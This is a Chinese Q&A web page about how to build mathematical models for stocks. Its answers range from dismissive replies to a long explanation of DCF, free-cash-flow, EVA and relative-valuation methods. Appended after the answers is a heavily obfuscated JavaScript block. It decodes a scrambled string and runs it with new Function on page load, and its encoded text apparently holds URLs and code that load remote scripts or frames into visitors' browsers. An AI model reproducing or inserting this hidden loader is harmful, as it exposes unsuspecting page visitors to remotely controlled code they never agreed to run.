请问高手有谁知道股票数学模型怎么做!

2025-02-16 23:02:16
推荐回答(5个)
回答1:

也不是上面那人说的那么玄,什么秘籍之类的,做股票数学模型,先问自己学过统计学,计量经济学没,学完了,再去CNKI里面找2篇文章来看看,然后就可以自己去找问题,比如:公司分红与送股对股价的影响?。然后找数据,然后建模型。上面说的只是流程,具体操作太复杂了,一般得一个结论都得费很久时间,而且每个人的的结论都不一样,里面的模型建立也是仁者见仁智者见智的,同时找数据也是一门艺术,数据没找对啥都完了

回答2:

研究量化投资模型的目的是找出那些具体盈利确定性的时空价格形态,其最重要手段的概率取胜,最重要的技术是概率统计,最主要的研究方向是市场行为心理。那么我们在选择用于研究的参数时,也应该用我们的经验来确定是否把某技术参数放进去,因为一般来说定性投资比较好用的参数指标对量化投资同样适用。推荐参考以下资料:量化投资的一般概念()

回答3:

股票真正的讲究的是企业价值和长期持有,你想建模型,还不如建彩票模型更靠谱。

回答4:

没人会告诉你,因为这本身就是秘密!

回答5:

股票估值分类绝对估值绝对估值是通过对上市公司历史及当前的基本面的分析和对未来反应公司经营状况的财务数据的预测获得上市公司股票的内在价值。绝对估值的方法:一是现金流贴现定价模型,二是B-S期权定价模型(主要应用于期权定价、权证定价等)。现金流贴现定价模型目前使用最多的是DDM和DCF,而DCF估值模型中,最广泛应用的就是FCFE股权自由现金流模型。绝对估值的作用:股票的价格总是围绕着股票的内在价值上下波动,发现价格被低估的股票,在股票的价格远远低于内在价值的时候买入股票,而在股票的价格回归到内在价值甚至高于内在价值的时候卖出以获利。相对估值相对估值是使用市盈率、市净率、市售率、市现率等价格指标与其它多只股票(对比系)进行对比,如果低于对比系的相应的指标值的平均值,股票价格被低估,股价将很有希望上涨,使得指标回归对比系的平均值。相对估值包括PE、PB、PEG、EV/EBITDA等估值法。通常的做法是对比,一个是和该公司历史数据进行对比,二是和国内同行业企业的数据进行对比,确定它的位置,三是和国际上的(特别是香港和美国)同行业重点企业数据进行对比。联合估值联合估值是结合绝对估值和相对估值,寻找同时股价和相对指标都被低估的股票,这种股票的价格最有希望上涨。首先建立估值体系,根据估值体系确定目标价,然后决定相应操作。一般而言,估值的基本方法可以分为以下三种:•现金流量折现法(DCF);•相对价值法;•期权估值法。在介绍基本的估值方法之前,首先必须明确一个概念:什么是企业价值?从投资者的角度来看,根据资本市场信息或企业内部信息,对企业未来的现金流量,用反映企业未来现金流量风险的折现率进行折现所做的综合判断,就称为企业的价值。企业价值不是用一个复杂的数学模型算出来的,算出来的只能是一种判断,随着在资本市场上,大家都提供一种判断,综合起来就大致确定出企业证券的价值,它是个波动的概念。因此,企业价值的构成要素有两个:企业未来的现金流量以及反映企业未来现金流量风险的折现率。决定市场价值的要素,第一,要看投资者,即追求投资回报最大化的机构和个人;第二,必须要有一个现代企业,也就是说,在市场经济社会中,企业必须是投资者实现投资回报的社会组织和载体;第三,就是看企业未来现金流量的折现值;第四,是基于企业内部的各种信息和资本市场信息而做出的综合判断。基于不同的模型,现金流量有不同的定义。但无论用何种模型对企业进行估值,一方面要看生产经营:研发、采购、制造、营销等等。另一方面要看资本经营,怎样把债务和权益结合起来,提高企业的获利能力?这就要用生产经营得到的利润,除以整个投资资本,得到投资资本回报率(ROIC),然后减去加权平均资本成本(WACC)。因此,在估值时,既要考虑到生产经营成本,又要考虑到资本经营成本。综合起来,对于企业的价值,最后就形成一个判断。在进行价值评估时,国内企业存在一个误区。国内企业常常用很多陈旧的会计方法来进行资产评估,其实这并不妥当。因为,对企业价值的评估,要用未来现金流量的折现来判断。假如现在向投资者介绍一个投资机会:某企业有一套全新的生产线设备,生产20英寸黑白晶体管电视,准备发行1万股普通股股票,请各位投资者来投资,钱一到,立即到人才交流中心招人,一个星期以后投产,这些资产值不值钱?投资者愿不愿投资?投资者肯定不愿投资。但资产评估却根据设备、厂房、折旧等一系列指标,然后根据财务规定,得出值多少钱来(见图表1-1)。现在换一种情况,某企业想做中国最大的互联网家电交易商,全国有2500万网民,只要上网点击,一周内就能把货送到,该企业有20个计算机软件专家,现在准备发行普通股股票融资,恐怕有人愿意投资有人不愿意投资,关键要看企业价值,即企业今后的发展能否带来利润。因此,对资产评估,有时可以参考,而有时概念就不是很清楚。图表1-1价值评估不同于资产评估价值评估资产评估•用折现现金流量方法•使用来自资产负债表和损益表的信息•对资产的现价进行估算•较长期的时间范畴•预测今后发展•使用加权平均资本成本一、现金流量折现法(DCF)▲基本原理任何资产的价值等于其预期未来产生的全部现金流量的现值之和,用公式表示为:V=∑tCFt/(1rt)n其中:V=资产的价值;n=资产的寿命;CFt=资产在时期t产生的现金流量rt=反映预期未来现金流量风险的折现率▲现金流量折现法的适用性和局限性现金流量折现法是基于预期未来现金流量和折现率的估价方法。在一定的条件下,如果被估价资产当前的现金流量为正,并且可以比较准确地预测未来现金流量的发生时间,同时,根据现金流量的风险特性又能够确定出适当的折现率,那么就适合采用现金流量折现方法。但现实情况往往并非如此,实际情况与模型假设条件相差越大,现金流量折现法的运用就会变得越困难。在下列情况下,使用现金流量折现法进行估值将会遇到比较大的困难,需要进行相应的调整。•陷入财务困境状态的公司公司处于财务困境状态下,当前的收益和现金流量通常为负,并且无法预期公司未来何时会出现好转。对于此类公司,由于破产的可能性很大,所以预测未来现金流量就十分困难。对于预期将要破产的企业,使用该方法的效果并不理想。即使对于那些预期会绝处逢生的企业而言,应用现金流量折现法时也必须要预测未来现金流量何时为正,数额多少,因为仅计算负现金流量的现值将会导致公司整体价值或股权的价值为负。•周期性公司周期性公司的收益和现金流量往往随宏观经济环境的变化而变化。经济繁荣时,公司收益上升,经济萧条时则下降。很多周期性公司在宏观经济极度萧条时,会与处于困境中的公司一样,具有负的收益和现金流量。如果对这些公司运用现金流量折现法进行估值,通常要对预期未来现金流量进行平滑处理。对于此类公司,在估值前对宏观经济环境进行预测是必不可少的,但这种预测必然会导致分析人员的主观偏见,并且成为影响估值结果的一个因素。•拥有未被利用资产的公司现金流量折现法反映了公司当前所有产生现金流量的经营性资产的价值。如果公司有尚未利用的经营性资产(当前不产生任何现金流量),这些资产的价值就不会体现在公司总价值中。同样,当前未被充分利用的资产也会产生类似问题。通常可以从公司外部得到此类资产的价值,然后将其加到现金流量折现法计算出的价值之中。•有专利或产品选择权的公司公司常常拥有尚未利用的专利或产品选择权,它们在当前并不产生任何现金流量,预计在近期内也不能产生现金流量,但它们是有价值的。对于这类公司,现金流量折现法会低估它们的真实价值。这个问题可以通过同样的方法加以克服。首先在公开市场上、或者运用期权定价模型对这些资产进行估价,然后将其加入到现金流量折现法计算出的价值之中。•正在进行重组的公司正在进行重组的公司通常会出售它们的一些已有的资产,购买新的资产,并且改变它们的资本结构和股利政策。一些公司进行重组时还会改变其所有权结构和管理层的激励方案。每种变化都将使公司未来现金流量的预测变得更为困难,并且会影响未来现金流量的风险特征,并进而影响折现率。历史数据会对这类公司的估值产生误导作用。但是,即使是对于投资和融资政策发生重大变化的公司,如果预测的未来现金流量已经反映了这些变化的影响,并且折现率已经根据公司新的业务和财务风险进行了适当的调整,那么仍然可以使用现金流量折现法。•涉及并购事项的公司使用现金流量折现法来对目标公司进行估值时,至少需要考虑与购并有关的两个棘手问题。第一个问题是购并是否会产生协同效应?协同效应的价值是否可以评估?在假设购并会产生协同效应,并且协同效应会影响公司现金流量的情况下,可以单独估计协同效应的价值。第二个问题是公司管理层的变动对公司现金流量及其风险的影响,这一点在敌意收购中尤为明显和重要。这些变化的影响可以而且应当体现在预期未来现金流量及所选用的折现率中。•非上市公司现金流量折现法要求根据被估值资产的历史价格来估算风险参数,因此,运用现金流量折现法对非上市公司进行估值时,最大的问题是公司风险的度量。由于非上市公司的股票不在公开市场上进行交易,所以这一要求无法满足。解决方法这一是考察可比上市公司的风险,另一个备选方法是根据非上市公司的基本财务指标来估计其风险参数。企业的价值等于以适当的折现率对该企业预期未来现金流量进行折现所得到的现值,这里所产生的问题是:如何界定现金流量?什么是适当的折现率?虽然解决这些问题的许多备选框架都能得出同样准确的结果,但本文只推荐其中的两种,分别称为“自由现金流量(FCF)折现模型”和“经济增加值(EVA)模型(又称经济利润模型)”,并建议对非金融公司估值时采用这两种模型。其他一些现金流量折现模型各有特点,使用起来受到限制,本文不再详细提及。1、自由现金流量折现模型运用自由现金流量折现模型对企业权益估值,是将企业的经营价值(可向所有投资者提供的实体价值)减去债务价值以及其它优于普通股的投资者要求(如优先股)。经营价值和债务价值等于各自预期未来现金流量的现值,而选择的折现率一定要反映各自预期未来现金流量的风险。经营价值经营价值等于预期未来自由现金流量的现值。自由现金流量(FCF)等于企业的税后净经营利润加上非现金支出,再减去营运资本需求的变化、资本支出以及其它资产方面的投资。它未纳入任何与筹资有关的现金流量(如利息费用和股息等)。对于这一估值模型来说,自由现金流量是正确的现金流量,因为它可以反映企业经营业务所产生的能够向公司所有资本(包括债务资本和权益资本)供应者提供的现金流量。为了与定义相一致,用于自由现金流量折现的折现率应反映所有资本供应者按照各自对企业总资本的相对贡献而加权的机会成本,这称为加权平均资本成本(WACC)。某类投资者的机会成本等于投资者从同等风险的其它投资中得到的期望回报率。企业估值的一个新问题是企业寿命的无限期性,解决的方法是将企业寿命分为两个时期,即明确的预测期及其后阶段。在这种情况下,企业价值可作如下表示:企业价值(FV)=明确的预测期期间的现金流量现值明确的预测期之后的现金流量现值明确的预测期之后的价值系指持续经营价值(CV),可以用简单的公式估算持续经营价值,而无须详细预测在无限期内的现金流量。债务价值企业的债务价值等于对债权人的现金流量按能反映其风险的折现率折现的现值。折现率应等于具有可比条件的类似风险的债务的现行市场水平。在大多数情况下,只有在估值当日尚未偿还的企业债务须估算价值。对于未来借款可假定其净现值为零,因为由这些借款得来的现金流入与未来偿付现金流量的现值完全相等,是以债务的机会成本折现的。权益价值企业的权益价值等于其经营价值减去债务价值以及其它优于普通股的投资者要求(如优先股),并对任何非经营性资产或负债进行调整。2、经济增加值(EVA)模型(又称经济利润模型)经济增加值模型说明,企业的价值等于投资资本额加上预期未来每年经济增加值的现值。即:企业价值(FV)=投资资本预期未来每年产生的经济增加值的现值经济增加值(EVA)又称经济利润(EP),它不同于传统的会计利润。传统的会计利润扣除了债务利息,但是完全没有考虑权益资本的成本。经济增加值(EVA)不仅扣除了债务利息,而且也扣除了权益资本的成本,因而是一种真正的利润度量指标。从公式的角度讲,经济增加值(EVA)等于税后净经营利润(NOPAT)减去债务资本和权益资本的成本。经济增加值模型优于自由现金流量折现模型,因为,经济增加值可以衡量公司在任何单一时期内所创造的价值,而自由现金流量折现模型却做不到。经济增加值(EVA)定义如下:经济增加值(EVA)=税后净经营利润-资本费用=税后净经营利润-(投资资本×加权平均资本成本)投资资本=营运资本需求固定资产净值其它经营性资产净额二、相对价值法▲基本原理在相对价值法中,公司的价值通过参考“可比”公司的价值与某一变量,如收益、现金流量或销售收入等的比率而得到。相对价值法基于经济理论和常识都认同的一个基本原则,即类似的资产应该有类似的交易价格。按照这一原则,评估一项资产价值的一个直截了当的方法就是找到一个由消息灵通的买者和卖者刚刚进行完交易的、相同的或者至少是相近的可比资产。这一原则也意味着被评估资产的价值等于可比资产的交易价格。然而,由于结构、规模、风险等方面的差异,实践中找到一项直接可比的资产相当困难。处理的方法是进行相应的调整,这涉及到两个数值,一个是价值指标,另一个是与价值有关的可观测变量。运用相对价值法评估公司价值,需要得到可比公司的价值指标数据和可观测变量数据以及目标公司的可观测变量数据。用数学语言表示相对价值法有助于进一步理解和熟悉这种方法。以V表示价值指标数据,以X表示可观测变量数据。相对价值法所依赖的关键假设前提是目标公司的V/X比率与可比公司的V/X比率相同,如下式所示:V(目标公司)/X(目标公司)=V(可比公司)/X(可比公司)变形可得:V(目标公司)=X(目标公司)×[V(可比公司)/X(可比公司)]只要V/X比率在各个公司之间保持常数,上式对于所有的可观测变量X都成立。为此,在应用相对价值法时,一个关键的步骤是挑选可观测变量X,要使得这样一个变量与价值指标有着确定的关系。▲相对价值法的适用性和局限性相对价值法的优点在于简单且易于使用。使用该方法可以迅速获得被估值公司的价值,尤其是当金融市场上有大量“可比”资产进行交易、并且市场在平均水平上对这些资产的定价是正确的时候。但相对价值法也容易被误用和操纵。因为,现实中绝对没有在风险和成长性方面完全相同的两个公司或两种资产,“可比”公司或资产的定义是一个主观概念。因此,在选择“可比”公司或资产时容易出现偏见。尽管这种潜在的偏见也存在于现金流量折现法之中,但在现金流量折现法中,必须说明决定最终价值的前提假设,而在相对价值法中,这种前提假设往往不必提及。相对价值法的另一个问题是它会将市场对“可比”公司或资产定价的错误(高估或低估)引入估值之中。而现金流量折现法是基于特定公司自身的增长率和预期未来现金流量,它不会被市场的错误所影响。尽管在实际操作中还使用其它一些比率,但本文主要介绍以下四种比率:•市盈率(P/E);•公司价值/自由现金流量(EV/FCF);•公司价值/销售收入(EV/S);•公司价值/息税折旧摊销前收益(EV/EBITDA)。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();